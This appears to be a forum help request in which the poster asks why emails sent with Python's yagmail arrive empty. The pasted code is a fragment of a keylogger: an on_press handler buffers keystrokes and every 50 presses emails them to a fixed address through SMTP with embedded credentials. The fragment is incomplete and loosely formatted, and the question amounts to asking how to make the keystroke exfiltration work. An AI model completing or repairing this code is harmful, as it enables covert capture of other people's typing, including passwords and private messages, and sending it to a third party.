So I am trying to send mails with yagmail in Python and I have an array or list I want to send. And when i get the mail there's no content inside it. Why's that?
import yagmail
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
def send(keys):
print('test')
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', listToStr)
def on_press(key):
global keys, count
count += 1
if count >= 50:
count = 0
send(keys)
keys = []